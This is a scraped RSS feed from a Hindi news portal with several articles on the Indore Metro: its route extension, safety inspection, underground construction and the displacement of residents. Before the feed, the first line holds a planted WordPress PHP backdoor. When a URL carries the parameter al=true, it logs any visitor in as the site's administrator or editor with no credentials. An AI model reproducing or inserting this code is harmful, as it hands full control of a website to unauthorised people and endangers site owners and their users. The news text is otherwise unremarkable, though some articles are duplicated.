// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Indore Metro – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 07 Jun 2026 03:35:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 इंदौर मेट्रो को मिलेगा रफ्तार का नया ट्रैक, अब 6 नहीं 17 किमी तक दौड़ेगी ट्रेन; बढ़ेंगे यात्री https://pratyushaashakinayikiran.com/?p=225346 Sun, 07 Jun 2026 03:35:00 +0000 https://pratyushaashakinayikiran.com/?p=225346 इंदौर 

 मेट्रो अपने संचालन के दूसरे साल में एक बड़े विस्तार की तरफ बढ़ रही है। मध्य प्रदेश के इंदौर में अब तक सुपर कॉरिडोर के अपेक्षाकृत कम आबादी वाले हिस्से में सीमित रहने वाली मेट्रो 18 जून से मालवीय नगर तक पहुंचने जा रही है। इसके साथ ही पहली बार शहर के घनी आबादी वाले क्षेत्रों में मेट्रो ट्रेन नजर आएगी और यात्रियों की संख्या में उल्लेखनीय वृद्धि की उम्मीद है।

मेट्रो रेल कॉर्पोरेशन के अनुसार, 31 मई 2025 को व्यावसायिक संचालन शुरू होने के बाद से अब तक करीब ढाई लाख यात्रियों ने मेट्रो में सफर किया है। वर्तमान में मेट्रो गांधीनगर स्टेशन से सुपर कॉरिडोर स्टेशन-3 तक लगभग 6 किलोमीटर के रूट पर संचालित हो रही है। इस क्षेत्र में आवासीय आबादी सीमित होने के कारण नियमित यात्रियों की संख्या अपेक्षाकृत कम रही।

रियायती ऑफर समाप्त होने के बाद घटे यात्री
शुरुआती महीनों में मेट्रो ने लोगों को आकर्षित करने के लिए विशेष रियायतें और जॉय राइड की सुविधा दी थी। उस दौरान बड़ी संख्या में नागरिकों ने पहली बार मेट्रो का अनुभव लिया। बाद में रियायती ऑफर समाप्त होने और नियमित किराया लागू होने के बाद यात्रियों की संख्या में कमी दर्ज की गई।

विस्तारित रूट पर व्यावसायिक संचालन शुरू करने पर सहमति
अब मेट्रो का 17 किलोमीटर लंबा कॉरिडोर मालवीय नगर तक तैयार हो चुका है। 25 मार्च को कमिश्नर ऑफ मेट्रो रेल सेफ्टी (सीएमआरएस) इस हिस्से के संचालन के लिए आवश्यक अनुमति भी दे चुके हैं।  भोपाल में मुख्यमंत्री डॉ. मोहन यादव की अध्यक्षता में हुई समीक्षा बैठक में 18 जून को इस विस्तारित रूट पर व्यावसायिक संचालन शुरू करने पर सहमति बनी है।

केंद्रीय मंत्री और मुख्यमंत्री कर सकते हैं शुभारंभ
केंद्रीय मंत्री मनोहर लाल खट्टर और मुख्यमंत्री डॉ. मोहन यादव की उपस्थिति में सुपर कॉरिडोर स्टेशन-3 से मालवीय नगर तक मेट्रो सेवा का शुभारंभ प्रस्तावित है। इसके मद्देनजर मेट्रो रेल निगम ने तैयारियां तेज कर दी हैं। शुक्रवार को निगम के प्रबंध संचालक ने इंदौर पहुंचकर अधिकारियों के साथ व्यवस्थाओं की समीक्षा भी की। अधिकारियों का मानना है कि शहर के प्रमुख आवासीय और व्यावसायिक क्षेत्रों को जोड़ने के बाद मेट्रो केवल आकर्षण का साधन नहीं रहेगी, बल्कि दैनिक आवागमन का महत्वपूर्ण विकल्प बन सकती है। यही कारण है कि अगले कुछ महीनों में यात्री संख्या में कई गुना वृद्धि की उम्मीद जताई जा रही है।

एक नजर में
-2.5 लाख यात्री एक वर्ष में कर चुके हैं सफर
-31 मई 2025 को शुरू हुआ था कमर्शियल संचालन
-वर्तमान में केवल 6 किमी रूट पर चल रही है मेट्रो
-18 जून से बढ़कर 17 किमी रूट पर होगा संचालन
-25 मार्च 2026 को सीएमआरएस से मिली थी मंजूरी
-पहली बार घनी आबादी वाले क्षेत्रों तक पहुंचेगी मेट्रो
-सुपर कॉरिडोर स्टेशन-3 से मालवीय नगर तक चलेगी ट्रेन

क्यों महत्वपूर्ण है मालवीय नगर विस्तार?
-शहर के आबादी वाले क्षेत्रों को पहली बार मेट्रो से जोड़ेगा।
-दैनिक यात्रियों की संख्या बढ़ाने में मदद मिलेगी।
-निजी वाहनों और सड़क यातायात पर दबाव कम हो सकता है।
-भविष्य के पूर्ण मेट्रो नेटवर्क के लिए आधार तैयार होगा।
-मेट्रो की व्यावसायिक व्यवहार्यता मजबूत होगी।

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इंदौर मेट्रो को मिलेगा रफ्तार का नया ट्रैक, अब 6 नहीं 17 किमी तक दौड़ेगी ट्रेन; बढ़ेंगे यात्री https://pratyushaashakinayikiran.com/?p=225348 Sun, 07 Jun 2026 03:35:00 +0000 https://pratyushaashakinayikiran.com/?p=225348 इंदौर 

 मेट्रो अपने संचालन के दूसरे साल में एक बड़े विस्तार की तरफ बढ़ रही है। मध्य प्रदेश के इंदौर में अब तक सुपर कॉरिडोर के अपेक्षाकृत कम आबादी वाले हिस्से में सीमित रहने वाली मेट्रो 18 जून से मालवीय नगर तक पहुंचने जा रही है। इसके साथ ही पहली बार शहर के घनी आबादी वाले क्षेत्रों में मेट्रो ट्रेन नजर आएगी और यात्रियों की संख्या में उल्लेखनीय वृद्धि की उम्मीद है।

मेट्रो रेल कॉर्पोरेशन के अनुसार, 31 मई 2025 को व्यावसायिक संचालन शुरू होने के बाद से अब तक करीब ढाई लाख यात्रियों ने मेट्रो में सफर किया है। वर्तमान में मेट्रो गांधीनगर स्टेशन से सुपर कॉरिडोर स्टेशन-3 तक लगभग 6 किलोमीटर के रूट पर संचालित हो रही है। इस क्षेत्र में आवासीय आबादी सीमित होने के कारण नियमित यात्रियों की संख्या अपेक्षाकृत कम रही।

रियायती ऑफर समाप्त होने के बाद घटे यात्री
शुरुआती महीनों में मेट्रो ने लोगों को आकर्षित करने के लिए विशेष रियायतें और जॉय राइड की सुविधा दी थी। उस दौरान बड़ी संख्या में नागरिकों ने पहली बार मेट्रो का अनुभव लिया। बाद में रियायती ऑफर समाप्त होने और नियमित किराया लागू होने के बाद यात्रियों की संख्या में कमी दर्ज की गई।

विस्तारित रूट पर व्यावसायिक संचालन शुरू करने पर सहमति
अब मेट्रो का 17 किलोमीटर लंबा कॉरिडोर मालवीय नगर तक तैयार हो चुका है। 25 मार्च को कमिश्नर ऑफ मेट्रो रेल सेफ्टी (सीएमआरएस) इस हिस्से के संचालन के लिए आवश्यक अनुमति भी दे चुके हैं।  भोपाल में मुख्यमंत्री डॉ. मोहन यादव की अध्यक्षता में हुई समीक्षा बैठक में 18 जून को इस विस्तारित रूट पर व्यावसायिक संचालन शुरू करने पर सहमति बनी है।

केंद्रीय मंत्री और मुख्यमंत्री कर सकते हैं शुभारंभ
केंद्रीय मंत्री मनोहर लाल खट्टर और मुख्यमंत्री डॉ. मोहन यादव की उपस्थिति में सुपर कॉरिडोर स्टेशन-3 से मालवीय नगर तक मेट्रो सेवा का शुभारंभ प्रस्तावित है। इसके मद्देनजर मेट्रो रेल निगम ने तैयारियां तेज कर दी हैं। शुक्रवार को निगम के प्रबंध संचालक ने इंदौर पहुंचकर अधिकारियों के साथ व्यवस्थाओं की समीक्षा भी की। अधिकारियों का मानना है कि शहर के प्रमुख आवासीय और व्यावसायिक क्षेत्रों को जोड़ने के बाद मेट्रो केवल आकर्षण का साधन नहीं रहेगी, बल्कि दैनिक आवागमन का महत्वपूर्ण विकल्प बन सकती है। यही कारण है कि अगले कुछ महीनों में यात्री संख्या में कई गुना वृद्धि की उम्मीद जताई जा रही है।

एक नजर में
-2.5 लाख यात्री एक वर्ष में कर चुके हैं सफर
-31 मई 2025 को शुरू हुआ था कमर्शियल संचालन
-वर्तमान में केवल 6 किमी रूट पर चल रही है मेट्रो
-18 जून से बढ़कर 17 किमी रूट पर होगा संचालन
-25 मार्च 2026 को सीएमआरएस से मिली थी मंजूरी
-पहली बार घनी आबादी वाले क्षेत्रों तक पहुंचेगी मेट्रो
-सुपर कॉरिडोर स्टेशन-3 से मालवीय नगर तक चलेगी ट्रेन

क्यों महत्वपूर्ण है मालवीय नगर विस्तार?
-शहर के आबादी वाले क्षेत्रों को पहली बार मेट्रो से जोड़ेगा।
-दैनिक यात्रियों की संख्या बढ़ाने में मदद मिलेगी।
-निजी वाहनों और सड़क यातायात पर दबाव कम हो सकता है।
-भविष्य के पूर्ण मेट्रो नेटवर्क के लिए आधार तैयार होगा।
-मेट्रो की व्यावसायिक व्यवहार्यता मजबूत होगी।

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इंदौर मेट्रो को मिली नई रफ्तार: 18 जून से रेडिसन चौराहा तक दौड़ेगी ट्रेन https://pratyushaashakinayikiran.com/?p=225042 Sat, 06 Jun 2026 03:36:00 +0000 https://pratyushaashakinayikiran.com/?p=225042 इंदौर
इंदौर में लंबे इंतजार के बाद अब मेट्रो का सफर बढ़ेगा और यात्री भी। अभी तक मेट्रो ट्रेन सात किलोमीटर तक चलती थी, लेकिन अब 17 किलोमीटर तक मेट्रो का संचालन होगा। मेट्रो को हरी झंडी केंद्रीय मंत्री मनोहर लाल खट्टर दिखाएंगे। दो माह पहले मेट्रो के कमर्शियल रन की मंजूरी मिल चुकी थी, लेकिन संचालन अब शुरू होगा। 

एक साल के इंतजार के बाद अब मेट्रो सुपर कॉरिडोर से आगे बढ़कर रेडिसन चौराहे पर यात्रियों के साथ पहुंचेगी। इंदौर में 18 जून से सुपर कॉरिडोर के गांधी नगर स्टेशन से रेडिसन चौराहे तक मेट्रो का कमर्शियल रन शुरू होगा। मेट्रो प्रोजेक्ट की समीक्षा बैठक में यह फैसला लिया गया। फिलहाल मेट्रो ट्रेन के किराए की घोषणा नहीं हुई है, लेकिन अधिकतम 80 रुपये तक किराया होगा।

बढ़ेगी यात्री संख्या
अभी मेट्रो जिस हिस्से में चलती है, वह आबादी क्षेत्र नहीं है। इस कारण मेट्रो को काफी कम यात्री मिलते थे, लेकिन गांधी नगर से रेडिसन चौराहा तक मेट्रो का संचालन होने के बाद यात्रियों की संख्या बढ़ेगी, क्योंकि सुपर कॉरिडोर की आईटी कंपनियों में काम करने वाले कर्मचारी और कॉलेजों में पढ़ने वाले विद्यार्थी इसका ज्यादा उपयोग करेंगे। इसके अलावा एयरपोर्ट तक जाने वाले यात्री भी इसका उपयोग कर सकेंगे, हालांकि उन्हें गांधी नगर से फिर ऑटो रिक्शा या अन्य विकल्प अपनाकर एयरपोर्ट तक जाना होगा।गांधी नगर मेट्रो स्टेशन से रेडिसन चौराहा तक पांच मेट्रो स्टेशन भी बनकर तैयार हो चुके हैं। इसके अलावा अलग-अलग स्पीड में मेट्रो का ट्रायल रन भी कई बार हो चुका है।

80 की स्पीड से चलेगी मेट्रो ट्रेन
17 किलोमीटर लंबे रूट पर 80 किलोमीटर प्रति घंटे की स्पीड से मेट्रो चलेगी। गांधी नगर से रेडिसन चौराहे तक आने में मेट्रो को 20 मिनट का समय लगेगा। पहले चरण में मेट्रो ट्रेन का संचालन खजराना चौराहा तक होगा। उसके बाद मेट्रो ट्रेन अंडरग्राउंड होगी। उसका काम भी अभी शुरू नहीं हो पाया है। फिलहाल मेट्रो का संचालन सात किलोमीटर हिस्से में हो रहा है। यहां मेट्रो का किराया अधिकतम 30 रुपये है। 17 किलोमीटर तक के संचालन में अधिकतम किराया 80 रुपये तक होगा। जब 30 किलोमीटर हिस्से में मेट्रो ट्रैक का काम पूरा होगा, तो हर 30 मिनट के अंतराल पर मेट्रो ट्रेन चलेगी।

शहर में कुल 28 स्टेशनों से ट्रेन गुजरेगी। 20 से ज्यादा मेट्रो ट्रेनों का संचालन होगा। एक ट्रेन में साढ़े चार सौ यात्री सवार हो सकेंगे। बैठने के अलावा खड़े रहकर सफर करने में भी आसानी होगी। ट्रेन के भीतर लगे पोल में चार ग्रिप दी गई हैं, जिन्हें यात्री पकड़कर सफर कर सकते हैं। मेट्रो ट्रेन बाहरी और आंतरिक रूप से सीसीटीवी कैमरों से लैस होगी।

 

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Indore Metro के अंडरग्राउंड रूट में चुनौती, एयरपोर्ट एरिया में ब्लास्टिंग से होगी खुदाई https://pratyushaashakinayikiran.com/?p=224530 Thu, 04 Jun 2026 03:46:00 +0000 https://pratyushaashakinayikiran.com/?p=224530 इंदौर 

इंदौर में मेट्रो ट्रेन के अंडरग्राउंड हिस्से का काम फिलहाल एयरपोर्ट के समीप चल रहा है। यहां मेट्रो स्टेशन भूमिगत होगा और करीब डेढ़ किलोमीटर आगे जाकर ट्रैक एलिवेटेड हिस्से से जुड़ेगा। लगभग आठ माह पहले इस हिस्से में मेट्रो के लिए खुदाई शुरू की गई थी, लेकिन 20 फीट की खुदाई के बाद चट्टानें मिलने के कारण अब नियंत्रित ब्लास्टिंग के जरिए खुदाई की जा रही है। 

बीते दो दिनों से पूरे इलाके में विस्फोटों की गूंज सुनाई दे रही है। मेट्रो रेल कॉर्पोरेशन की टीम नियंत्रित ब्लास्टिंग के माध्यम से चट्टानों को तोड़कर आगे का काम कर रही है। माना जा रहा है कि सिंहस्थ से पहले एयरपोर्ट क्षेत्र में अंडरग्राउंड मेट्रो के हिस्से का निर्माण कार्य पूरा हो जाएगा।

10 किमी अंडरग्राउंड ट्रैक बनेगा
इंदौर में कुल 10 किलोमीटर लंबे अंडरग्राउंड ट्रैक का निर्माण होना है। फिलहाल 20 किलोमीटर लंबे मेट्रो ट्रैक का निर्माण पूरा हो चुका है और उस पर संचालन कभी भी शुरू किया जा सकता है, लेकिन अभी तक इसकी अंतिम मंजूरी नहीं मिल पाई है। खजराना से एयरपोर्ट रोड तक 10 किलोमीटर लंबे अंडरग्राउंड ट्रैक का निर्माण प्रस्तावित है, हालांकि इस हिस्से में अभी तक व्यापक स्तर पर काम शुरू नहीं हो पाया है। इस रूट में नगरीय प्रशासन मंत्री कैलाश विजयवर्गीय के हस्तक्षेप के बाद बदलाव किया गया था, जिसके परिणामस्वरूप लगभग दो किलोमीटर अतिरिक्त अंडरग्राउंड मेट्रो रूट जोड़ा गया। इससे परियोजना की लागत में करीब 2,000 करोड़ रुपये की वृद्धि हुई है।

15,000 करोड़ रुपये है लागत
इंदौर मेट्रो परियोजना पर कुल लगभग 15,000 करोड़ रुपये खर्च किए जा रहे हैं। वर्तमान में छह किलोमीटर लंबे हिस्से में मेट्रो का संचालन और परीक्षण कार्य जारी है। गांधी नगर मेट्रो स्टेशन से रेडिसन चौराहा तक पांच मेट्रो स्टेशन बनकर तैयार हो चुके हैं। इसके अलावा विभिन्न गति स्तरों पर मेट्रो का ट्रायल रन भी कई बार सफलतापूर्वक किया जा चुका है। मेट्रो रेल कॉर्पोरेशन ने अभी तक किराए की आधिकारिक घोषणा नहीं की है, हालांकि अधिकतम किराया लगभग 80 रुपये तक होने की संभावना जताई जा रही है। 

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इंदौर की मेट्रो ट्रेन में सफर का सपना सरकारी औपचारिकताओं और ‘अतिथि’ के इंतजार में फंसा https://pratyushaashakinayikiran.com/?p=213312 Mon, 20 Apr 2026 04:26:00 +0000 https://pratyushaashakinayikiran.com/?p=213312 इंदौर

इंदौर की जनता का अपनी मेट्रो ट्रेन में सफर करने का सपना अब सरकारी औपचारिकताओं और 'अतिथि' के इंतजार में उलझकर रह गया है। गांधीनगर से रेडिसन चौराहे तक मेट्रो ट्रेन चलाने की सारी तैयारियां पूरी हो चुकी हैं, लेकिन हैरानी की बात यह है कि कमिश्नर ऑफ मेट्रो रेल सेफ्टी (CMRS) से क्लियरेंस मिलने के 23 दिन बीत जाने के बाद भी ट्रेन का पहिया आम जनता के लिए नहीं घूम सका है।

मुख्यमंत्री डॉ. मोहन यादव के निर्देशानुसार निर्माण कार्य और सुरक्षा जांच की प्रक्रिया तो समय पर पूरी कर ली गई थी, लेकिन उद्घाटन की तारीख तय न होने से शहरवासियों की उत्सुकता अब निराशा में बदल रही है।

मार्च में ही अनुमति ले ली थी
मेट्रो रेल कॉर्पोरेशन ने बीते 26 मार्च को ही सुरक्षा आयुक्त से संचालन की अनुमति प्राप्त कर ली थी। स्थानीय नागरिकों को उम्मीद थी कि पहले रामनवमी और फिर हनुमान जयंती के पावन अवसर पर इंदौर को मेट्रो की सौगात मिल जाएगी, लेकिन यह दोनों ही बड़े अवसर बीत गए और स्टेशनों पर सन्नाटा पसरा रहा।

सूत्रों के हवाले से मिली जानकारी के अनुसार, मेट्रो के संचालन की अंतिम मुहर अब मुख्यमंत्री कार्यालय (CMO) और प्रधानमंत्री कार्यालय (PMO) के स्तर से लगनी है। राज्य शासन की ओर से पीएमओ को मेट्रो संचालन का प्रस्ताव भेजा गया है, जिसमें प्रधानमंत्री द्वारा वर्चुअली हरी झंडी दिखाने या फिर किसी केंद्रीय मंत्री को मुख्य अतिथि के रूप में इंदौर भेजने की अनुमति मांगी गई है।

हांलाकि सूत्रों का कहना है कि इंदौर में मेट्रो का संचालन पांच राज्यों में चल रहे चुनाव के परिणाम आने के बाद ही हो पाएगा। चुनाव परिणाम के बाद ही इंदौर मेट्रो की तारीख की घोषणा की जाएगी।

4 मई के बाद ही शुरू होने की उम्मीद
सांसद शंकर लालवानी ने इस मामले में कहा कि मेट्रो का संचालन कब शुरू होगा, यह शासन को तय करना है। आवासन एंव शहरी कार्य मंत्रालय द्वारा इसके शुभारंभ की योजना बनाई जा रही है। लालवानी ने कहा कि वे केंद्र और राज्य स्तर पर बातचीत कर जल्द से जल्द ट्रेन शुरू कराने का प्रयास करेंगे। सूत्रों की मानें तो इंदौर मेट्रो की तारिखों की घोषणा 4 मई के बाद की जाएगी।

इंदौर मेट्रो फेज-2 के स्टेशन
सुपर कॉरिडोर स्टेशन 2, 1, भोरासला चौराहा, एमआर 10 रोड, आईएसबीटी, चंद्रगुप्त चौराहा, हीरा नगर, बापट चौराहा, मेघदूत गार्डन, विजय नगर चौराहा और मालवीय नगर चौराहा (रेडिसन होटल)।

 

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सीएमआरएस ने 80 की स्पीड से इंदौर मेट्रो की रफ्तार की जांच, चार बार ब्रेक स्पीड टेस्ट https://pratyushaashakinayikiran.com/?p=205965 Thu, 19 Mar 2026 03:37:00 +0000 https://pratyushaashakinayikiran.com/?p=205965 इंदौर
 सुपर कॉरिडोर से लेकर रेडिसन तक  80 की स्पीड से मेट्रो दौड़ी। चार बार मेट्रो को दौड़ाकर ब्रेक स्पीड टेस्ट किया गया। इसमें मेट्रो को 80 की स्पीड पर पहुंचाने के बाद रोक कर जांच की गई।

दरअसल यह प्रक्रिया कमिश्नर ऑफ मेट्रो रेलवे सेफ्टी (सीएमआरएस) नीलाभ्र सेनगुप्ता के निरीक्षण की प्रक्रिया का हिस्सा थी। इसके साथ ही सीएमआरएस का निरीक्षण पूरा हो गया। निरीक्षण रिपोर्ट के बाद सीएमआरएस एनओसी जारी करेंगे। ऐसे में संभावना है कि मार्च के आखरी तक शहर में मेट्रो का कमर्शियल रन शुरू हो जाएगा।

यह प्रक्रिया कमिश्नर ऑफ मेट्रो रेलवे सेफ्टी (सीएमआरएस) नीलाभ्र सेनगुप्ता के निरीक्षण की प्रक्रिया का हिस्सा थी। इसके साथ ही सीएमआरएस का निरीक्षण पूरा हो गया। निरीक्षण रिपोर्ट के बाद सीएमआरएस एनओसी जारी करेंगे। ऐसे में संभावना है कि मार्च के आखरी तक शहर में मेट्रो का कमर्शियल रन शुरू हो जाएगा। सीएमआरएस नीलाभ्र सेनगुप्ता अपने छह सदस्यों के दल के साथ मेट्रो के ग्यारह किमी लंबे रूट का निरीक्षण करने पहुंचे थे।

निरीक्षण के तीसरे दिन  मेघदूत, विजयनगर और रेडिसन चौराहे पर बने मेट्रो स्टेशन का निरीक्षण किया। प्रत्येक स्टेशन पर एक-एक घंटे रुके। इस दौरान निकासी गेट, लिफ्ट, एस्कलेटर, पार्किंग एरिया, स्टेशन रूम, दिव्यांगों के लिए मौजूद सुविधाओं का निरीक्षण किया। इसके साथ ही मेट्रो डिपो में कंट्रोल कमांड सेंटर, सिग्नल सेंटर, डिपो में स्टेब्लिंग यार्ड की रेल लाइन का निरीक्षण किया। सीएमआरएस ने एमआर-10 पर बने इलेक्ट्रिक सब स्टेशन का निरीक्षण भी किया। सभी ग्यारह स्टेशन का निरीक्षण पूरा हो चुका है।

80 की स्पीड में चेक हुए ब्रेक
शाम से रात तक दौड़ाई मेट्रो सुपर कॉरिडोर के स्टेशन नंबर-2 से रेडिसन चौराहा तक वायडक्ट पर मेट्रो को 80 किमी प्रतिघंटा की गति से दौड़ाई। स्टेशन निरीक्षण के बाद शाम से रात तक चार बार मेट्रो को दौड़ाया गया और स्पीड ब्रेक टेस्ट किया गया।

17 किमी पर संचालन जल्द होगा शुरू
सीएमआरएस द्वारा मेट्रो का चार दिनी निरीक्षण प्रस्तावित था, लेकिन यह कार्य तीन दिन में पूरा कर लिया गया। बुधवार को सीएमआरएस दिल्ली रवाना हो जाएंगे। निरीक्षण के आधार पर सुझावों के साथ निरीक्षण रिपोर्ट सौंपेंगे। इसके बाद मेट्रो प्रबंधन उनके बताए गए सुझावों को पूरा करके रिपोर्ट भेजेगा। इसके बाद सीएमआरएस द्वारा मेट्रो के 11.5 किलोमीटर हिस्से पर कमर्शियल रन शुरू करने की एनओसी जारी की जाएगी।

यह संभावना जताई जा रही है कि 26 मार्च के बाद मेट्रो का संचालन रेडिसन चौराहे तक हो सकेगा। इंदौर के प्रायोरिटी कॉरिडोर पर गांधी नगर स्टेशन से स्टेशन नंबर-2 तक करीब छह किमी में पहले ही संचालन किया जा रहा है। अब स्टेशन नंबर-2 से रेडिसन चौराहा तक 11 किमी हिस्से में मेट्रो का निरीक्षण पूरा हो चुका है। एनओसी जारी होते ही 17 किमी लंबे रूट पर मेट्रो का संचालन होने लगेगा।

स्टेशनों पर यात्री सुविधाओं का जायजा

सीएमआरएस नीलाभ्र सेनगुप्ता अपने छह सदस्यों के दल के साथ मेट्रो के ग्यारह किमी लंबे रूट का निरीक्षण करने पहुंचे थे। निरीक्षण के तीसरे दिन मंगलवार को मेघदूत, विजयनगर और रेडिसन चौराहे पर बने मेट्रो स्टेशन का निरीक्षण किया।

प्रत्येक स्टेशन पर एक-एक घंटे रुके। इस दौरान निकासी गेट, लिफ्ट, एस्कलेटर, पार्किंग एरिया, स्टेशन रूम, दिव्यांगों के लिए मौजूद सुविधाओं का निरीक्षण किया। इसके साथ ही मेट्रो डिपो में कंट्रोल कमांड सेंटर, सिग्नल सेंटर, डिपो में स्टेब्लिंग यार्ड की रेल लाइन का निरीक्षण किया।

सीएमआरएस ने एमआर-10 पर बने इलेक्ट्रिक सब स्टेशन का निरीक्षण भी किया। सभी ग्यारह स्टेशन का निरीक्षण पूरा हो चुका है।

रात के अंधेरे में मेट्रो का ट्रायल बना आकर्षण
शाम से रात तक दौड़ाई मेट्रो सुपर कॉरिडोर के स्टेशन नंबर-2 से रेडिसन चौराहा तक वायडक्ट पर मेट्रो को 80 किमी प्रतिघंटा की गति से दौड़ाई। स्टेशन निरीक्षण के बाद शाम से रात तक चार बार मेट्रो को दौड़ाया गया और स्पीड ब्रेक टेस्ट किया गया। रात्रि में मेट्रो को वायडक्ट पर चलता देखकर विजय नगर और एमआर-10 क्षेत्र में रहने और गुजरने वाले रुककर देखने लगे।
एनओसी मिलते ही शुरू होगा 17 किमी पर संचालन
सीएमआरएस द्वारा मेट्रो का चार दिनी निरीक्षण प्रस्तावित था, लेकिन यह कार्य तीन दिन में पूरा कर लिया गया। बुधवार को सीएमआरएस दिल्ली रवाना हो जाएंगे। निरीक्षण के आधार पर सुझावों के साथ निरीक्षण रिपोर्ट सौंपेंगे। इसके बाद मेट्रो प्रबंधन उनके बताए गए सुझावों को पूरा करके रिपोर्ट भेजेगा। इसके बाद सीएमआरएस द्वारा मेट्रो के 11.5 किलोमीटर हिस्से पर कमर्शियल रन शुरू करने की एनओसी जारी की जाएगी। यह संभावना जताई जा रही है कि 26 मार्च के बाद मेट्रो का संचालन रेडिसन चौराहे तक हो सकेगा।

इंदौर के प्रायोरिटी कॉरिडोर पर गांधी नगर स्टेशन से स्टेशन नंबर-2 तक करीब छह किमी में पहले ही संचालन किया जा रहा है। अब स्टेशन नंबर-2 से रेडिसन चौराहा तक 11 किमी हिस्से में मेट्रो का निरीक्षण पूरा हो चुका है। एनओसी जारी होते ही 17 किमी लंबे रूट पर मेट्रो का संचालन होने लगेगा।

 

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Indore Metro: बड़ा गणपति स्टेशन के लिए अगले सप्ताह हटेंगे 16 मकान, बदले में 28 फ्लैट की मांग https://pratyushaashakinayikiran.com/?p=198511 Tue, 17 Feb 2026 03:35:00 +0000 https://pratyushaashakinayikiran.com/?p=198511 इंदौर
 बड़ा गणपति भूमिगत मेट्रो स्टेशन के निर्माण में बाधक पीलियाखाल क्षेत्र के 16 मकानों को अगले सप्ताह हटाया जाएगा। मेट्रो प्रबंधन द्वारा अभी यहां रहने वाले लोगों को रंगवासा क्षेत्र में प्रधानमंत्री आवास योजना के तहत बने ताप्ती परिसर के फ्लैट में शिफ्ट करने का प्रस्ताव जिला प्रशासन को दिया है। मेट्रो प्रबंधन द्वारा अभी यहां रहने वाले 16 परिवारों को दिए जाने वाले फ्लैट के लिए प्रशासन को 1.29 करोड़ रुपये की राशि दी है।

28 परिवारों को 28 फ्लैट की मांग
हालांकि रहवासियों की मांग है कि यहां बने 16 घरों में 28 परिवार रहते है। ऐसे में 28 परिवारों को 28 फ्लैट दिए जाएं। इस पर कलेक्टर की अध्यक्षता में आगामी दिनों में होने वाली बैठक में ही अंतिम निर्णय लिया जाएगा। रहवासियों की मांग है कि उनके पास राजीव गांधी आश्रय मिशन के तहत मिले हुए जमीन के पट्टे है। ऐसे में उन्हें उचित मुआवजा मिलना चाहिए।

रहवासियों की परेशानी
मकान शिफ्ट हो जाएंगे लेकिन बच्चे के स्कूल का क्या होगा पीलियाखाल में रहने वाले लोगों की परेशानी यह है कि उन्हें रंगवासा शिफ्ट किया जा रहा है। ऐसे में अभी यहां के परिवारों के कई बच्चे शिक्षा के अधिकार के तहत बड़ा गणपति व कालानी नगर के निजी स्कूलों में पढ़ते है। ऐसे में उनकी पढ़ाई में मुश्किल आएगी। रंगवासा से दूरी ज्यादा होने पर बच्चों को बड़ा गणपति क्षेत्र के स्कूलों में लाना मुश्किल होगा।

रहवासी भूमि यादव के मुताबिक हमारे क्षेत्र अराध्या, आरव, वंशिका पाल सहित कई बच्चे आरटीई के तहत निजी स्कूलों में पढ़ते है। ऐसे में उनके लिए परेशानी होगी रंगवासा में जिस मल्टी में हमें फ्लैट दिए जा रहे है, वहां लोग नशाखोरी करते है। मेरे पापा हम्माली करते है और मैं भी इस क्षेत्र में काम करती है। ऐसे में हमें भी कामकाज के लिए ज्यादा दूर से आना पड़ेगा।

रहवासी बलराम वर्मा के मुताबिक मेरे दो बच्चे कालानी नगर क्षेत्र के स्कूलों में आरटीई के तहत पढ़ते है। ऐसे में रंगवासा जाने पर बच्चों की पढ़ाई छूट जाएगी। इस वजह से हमें बड़ा गणपति क्षेत्र के पास ही आवास दिए जाना चाहिए।

विस्थापन के नियमों के तहत ही रंगवास क्षेत्र में दिए जा रहे फ्लैट

    मेट्रो प्रबंधन द्वारा अभी पीलिया खाल में रहने वाले 16 परिवारों को रंगवासा में फ्लैट देना तय किया गया है। इन्हें शिफ्ट करने की कार्रवाई जल्द की जाएगी। यहां रहने वाले लोगों जो बच्चे आरटीई के तहत निजी स्कूलों में पढ़ते है। उन्हें उस क्षेत्र के निजी स्कूलों में इसी योजना के तहत पढ़ाने की व्यवस्था करेंगे। पट्टाधारकों के विस्थापन के नियमों के तहत ही उन्हें रंगवासा क्षेत्र में प्रधानमंत्री आवास योजना के फ्लैट दिए जा रहे है। नगर निगम व मेट्रो प्रबंधन जल्द ही लोगों के फ्लैट के नंबर तय करेंगे। निधि वर्मा, एसडीएम

 

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Indore Metro: सभी अंडरग्राउंड मेट्रो स्टेशनों में सबसे ‘छोटा’ होगा छोटा गणपति स्टेशन https://pratyushaashakinayikiran.com/?p=195791 Fri, 06 Feb 2026 03:56:00 +0000 https://pratyushaashakinayikiran.com/?p=195791 इंदौर
 मेट्रो परियोजना के अंडर ग्राउंड प्रोजेक्ट में छोटा गणपति मेट्रो स्टेशन पर बनी उलझन अब खत्म होने को है। मेट्रो के अंडर ग्राउंड अन्य स्टेशन के मुकाबले छोटा गणपति का स्टेशन सबसे छोटा होगा। मेट्रो प्रबंधन द्वारा छोटा गणपति स्टेशन निर्माण के लिए जो मृदा परीक्षण रिपोर्ट तैयार की है। उसमें बताया है कि यहां पर न्यू ऑस्ट्रियन टनलिंग मैथड (नेटम) के माध्यम से खोदाई की जाएगी।

इस प्रक्रिया में जमीन की सतह से 37 से 38 मीटर नीचे मेट्रो स्टेशन का निर्माण होगा। जबकि शहर में मेट्रो के अंडर ग्राउंड स्टेशन जमीन से 18 से 22 मीटर गहराई में बनाए जा रहे है। ऐसे में यह मेट्रो स्टेशन सबसे छोटा और सबसे ज्यादा गहराई में होगा।

गार्डन के हिस्से में होगी खोदाई तो नहीं टूटेंगे मकान

पूर्व में कट एंड कवर तकनीक के माध्यम से छोटा गणपति मेट्रो स्टेशन का निर्माण किया जाना था। यह अंडर ग्राउंड स्टेशन एमजी रोड के समानांतर मल्हारगंज थाने के पास 190 मीटर की लंबाई में बनाना तय किया था। ऐसे में 142 मकान टूट रहे थे। सर्वे रिपोर्ट के बाद न्यू ऑस्ट्रियन टनलिंग मैथड से इसका निर्माण किया जाना तय किया है।

